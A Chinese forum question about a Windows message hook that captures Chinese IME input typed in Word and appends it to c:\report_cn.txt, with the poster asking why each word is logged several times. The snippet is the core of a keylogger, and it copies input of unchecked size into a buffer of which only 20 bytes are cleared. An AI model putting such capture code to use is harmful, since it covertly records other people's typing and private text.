HOOK截获中文输入会出现响应多次的情况。
当在Word中输入“你好” 记录下来的结果变成了"你好你好你好你好" 实在不解。。代码如下
当在Word中输入“你好” 记录下来的结果变成了"你好你好你好你好" 实在不解。。代码如下
case WM_IME_COMPOSITION:
//MessageBox(NULL, "ImmGetContext3", "ImmGetContext3", MB_OK);
//if (m_hEditWnd == pmsg->hwnd)
{
HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
//char ch;
if(pmsg->lParam & GCS_RESULTSTR)
{
//先获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
if (!hIMC)
{
MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
}
// 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);
// 缓冲区大小要加上字符串的NULL结束符大小,
// 考虑到UNICODE
dwSize += sizeof(WCHAR);
memset(lpstr, 0, 20);
// 再调用一次.ImmGetCompositionString获取字符串
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
//现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
//MessageBox(NULL, lpstr, lpstr, MB_OK);
//SaveLog(lpstr);
FILE* f1;
f1=fopen("c:\\report_cn.txt","a+");
//char ch1;
//ch1=(char)(pmsg->wParam);
fwrite(lpstr,_tcslen(lpstr),1,f1);
fclose(f1);
ImmReleaseContext(hWnd, hIMC);
}
}
break;